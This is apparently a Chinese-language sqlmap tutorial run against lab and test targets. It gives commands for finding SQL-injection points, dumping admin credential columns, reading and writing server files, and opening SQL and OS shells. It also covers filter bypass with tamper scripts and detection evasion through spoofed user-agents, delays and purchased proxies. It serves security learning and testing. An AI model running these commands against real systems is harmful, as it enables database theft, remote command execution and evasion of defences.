数据猜解-库表列数据&字典
例子:电子科技大学 Access数据库(dbs,dba和current-db命令并不适用于access,因为结构不同)
先检查是否存在SQL注入点
1
python sqlmap.py -u "http://192.168.126.133:89/News.asp?classid=1"
枚举数据库中的所有表
1
python sqlmap.py -u "http://192.168.126.133:89/News.asp?classid=1" --tables
枚举指定表admin的所有列
1
python sqlmap.py -u "http://192.168.126.133:89/News.asp?classid=1" --columns -T "admin"
从admin表中导出username和password列的数据(需要等待它完全跑完admin所有列才执行)
1
python sqlmap.py -u "http://192.168.126.133:89/News.asp?classid=1" --dump -C "username,password" -T "admin"
例子:news.php高权限 Mysql数据库
先检查是否存在SQL注入点
1
python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1"
查看是不是数据管理员(不准确)
1
python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" --is-dba
查看当前用户(进一步确认是不是root)
1
python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" --current-user
查看当前用户权限(进一步用户权限)
1
python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" --privileges
获取当前数据库,对于mysql,需要获取当前数据库(因为比access高了一等级,所以需要多一步)
1
python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" --current-db
枚举指定数据库demo01下的所有表
1
python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" --tables -D "demo01"
枚举指定数据库acuart,表users下的所有列
1
python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" --columns -T "admin" -D "demo01"
从users表中导出name和pass列的数据
1
python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" --dump -C "username,password" -T "admin" -D "demo01"
其他操作:
执行shell命令
1 | python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" --sql-shell |
使用高权限的来执行系统交互命令
1 | python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" --os-shell |
例子:Vulnweb低权限 Mysql数据库
先检查是否存在SQL注入点
1
python sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1"
查看是不是数据管理员
1
python sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --is-dba
查看当前用户(进一步确认是不是root)
1
python sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --current-user
查看当前用户权限(进一步用户权限)
1
python sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --privileges
获取所有的数据库
1
python sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs
获取当前数据库,对于mysql,需要获取当前数据库(因为比access高了一等级,所以需要多一步)
1
python sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --current-db
枚举指定数据库acuart下的所有表
1
python sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --tables -D "acuart"
枚举指定数据库acuart,表users下的所有列
1
python sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --columns -T "users" -D "acuart"
从users表中导出name和pass列的数据
1
python sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --dump -C "name,pass" -T "users" -D "acuart"
其他操作:
导出所有的数据
1 | python sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --dump -all |
权限操作-文件&命令&交互式
–is-dba –privileges #查看权限:
查看是不是数据管理员(不准确,有时候是的,有时候不是)
1 | python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" --is-dba |
查看当前用户权限(进一步用户权限)
1 | python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" --privileges |
–file-read –file-write –file-dest #保存读取写入文件:
读取d盘的1.txt,sqlmap会将文件保存自己的到file文件下
1 | python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" --file-read "d:\\1.txt" |
读取d盘的1.txt,写入到c盘1.txt
1 | python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" --file-write "d:\\1.txt" --file-dest "c:\\1.txt" |
–os-cmd= –os-shell –sql-shell #交互式Shell:
执行shell命令
1 | python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" --sql-shell |
使用高权限的来执行系统交互命令
1 | python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" --os-shell |
提交方法-POST&HEAD&JSON
例子:Vulnweb低权限 Mysql数据库
先检查是否存在SQL注入点
1
python sqlmap.py -u "http://testphp.vulnweb.com/userinfo.php" --data "uname=test&pass=test"
查看是不是数据管理员
1
python sqlmap.py -u "http://testphp.vulnweb.com/userinfo.php" --data "uname=test&pass=test" --is-dba
查看当前用户(进一步确认是不是root)
1
python sqlmap.py -u "http://testphp.vulnweb.com/userinfo.php" --data "uname=test&pass=test" --current-user
查看当前用户权限(进一步用户权限)
1
python sqlmap.py -u "http://testphp.vulnweb.com/userinfo.php" --data "uname=test&pass=test" --privileges
获取所有的数据库
1
python sqlmap.py -u "http://testphp.vulnweb.com/userinfo.php" --data "uname=test&pass=test" --dbs
获取当前数据库,对于mysql,需要获取当前数据库(因为比access高了一等级,所以需要多一步)
1
python sqlmap.py -u "http://testphp.vulnweb.com/userinfo.php" --data "uname=test&pass=test" --current-db
枚举指定数据库acuart下的所有表
1
python sqlmap.py -u "http://testphp.vulnweb.com/userinfo.php" --data "uname=test&pass=test" --tables -D "acuart"
枚举指定数据库acuart,表users下的所有列
1
python sqlmap.py -u "http://testphp.vulnweb.com/userinfo.php" --data "uname=test&pass=test" --columns -T "users" -D "acuart"
从users表中导出name和pass列的数据
1
python sqlmap.py -u "http://testphp.vulnweb.com/userinfo.php" --data "uname=test&pass=test" --dump -C "name,pass" -T "users" -D "acuart"
跟之前注入流程差不多,不过前面需要附带--data "uname=test&pass=test"
,让sqlmap知道你是post
–data “” #POST提交
sqlmap采用自己的请求头去请求,如果是json格式的话注入不了
例子:能够识别,只有一对默认的双引号
1 | python sqlmap.py -u "http://testphp.vulnweb.com/userinfo.php" --data "uname=test&pass=test" |
sqlmap注入的格式是正确的,注入写法为:
1 | python sqlmap.py -u "http://testphp.vulnweb.com/userinfo.php" --data "uname=test&pass=test and 1=1 " |
注入不了,json格式,里面双引号太多,识别不了
1 | python sqlmap.py -u "http://1.1.1.1/sqli/json_check.php" --data "{"username":"admin","password":"admin"}" |
这样识别的引号问题,格式就错了(解决办法使用-r来写入整个request header和参数)注入写法为:
1 | python sqlmap.py -u "http://1.1.1.1/sqli/json_check.php" --data "{"username":"admin","password":"admin"} and 1=1" |
-r 1.txt 和 –cookie “” #替换request header
如果有的网站有注入点但是只能手机访问,就需要替换request header
如果不是抓包得到的请求的注入点数据包去注入的话,sqlmap就采用自己的访问头去访问注入(可能会访问不到,访问不到就注入不了了),还有的就是会屏蔽sqlmap 的访问头,禁止访问
-r 的话就是sqlmap采用自己写在文件里面的请求头去请求
例子:普通URL格式 Post
创建head.txt,写入,保存到根目录即可
1 | POST /userinfo.php HTTP/1.1 |
运行head.txt带入原来的request header去访问,因为数据包里,请求的有网站地址所以这里就不需要写了
1 | python sqlmap.py -r head.txt |
例子:JSON格式 POST
创建test.txt,写入,保存到根目录即可
1 | POST /sqli/json_check.php HTTP/1.1 |
运行之前需要删除cookie
1 | python sqlmap.py -r head1.txt |
将请求头写入文件,在注入点标注*让sqlmap知道在哪注入,使用-r模式,比-data模式好用
后期想要添加字典在默认的common-tables里面添加
绕过模块-Tamper脚本-使用&开发
–tamper=base64encode.py #加载base64encode解码模块
例子:base64注入,有过滤的注入
需要先告诉sqlmap先进行base64编码
1 | python sqlmap.py -u "http://1.1.1.1/sqli/base64.php?id=MQ==" --tamper=base64encode.py |
–tamper=test.py #自写绕过策略
写一个test.py的脚本放到sqlmap\tamper里面
1 | from lib.core.enums import PRIORITY |
运行即可,让sqlmap使用自己写的test.py文件规则去绕过
1 | python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" --tamper=test.py |
黑盒测试绕过才是最难
分析拓展-代理&调试&指纹&风险&等级
-v=(0-6) #详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容
使用不同的详细登等级来查看sqlmap详细的注入过程
1 | python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" -v 4 |
–proxy “http://xx:xx“ #代理注入
配合burp进行测试,可以围观到sqlmap是如何进行注入的,然后进行分析
1 | python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" --level=3 -risk=2 -proxy "http://127.0.0.1:8080/" |
还可以网上买个代理,把本地代理换成购买的代理进行测试,例如:快代理
打乱默认指纹:
–user-agent “” #自定义user-agent
使用user-agent,防止检测到sqlmap的ua头拦截
1 | python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" -v 4 --user-agent "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" |
–random-agent #随机user-agent
使用random-agent,防止拦截sqlmap的请求
1 | python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" -v 4 --random-agent |
–time-sec=(2,5) #延迟响应,默认为5
如果访问过快就换拦截,time-sec来延时
1 | python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" -v 4 --time-sec 5 |
测试Header注入
–level=(1-5) #要执行的测试水平等级,默认为1
–risk=(0-3) #测试执行的风险等级,默认为1
能帮你跑到隐藏的一些ua头注入等等
1 | python sqlmap.py -u "http://1.1.1.1/sqli/new.php?id=1" --level=3 -risk=2 |
参考:https://www.cnblogs.com/bmjoker/p/9326258.html
sqlmap需要结合你的思路,你想的绕过逻辑,然后写入sqlmap,进行绕过
如果VMware虚拟机没网,检查win+R 运行 “services.msc”查看是否开启了VMware DHCP Service和VMware NAT service这两个服务,如果未开启,请启动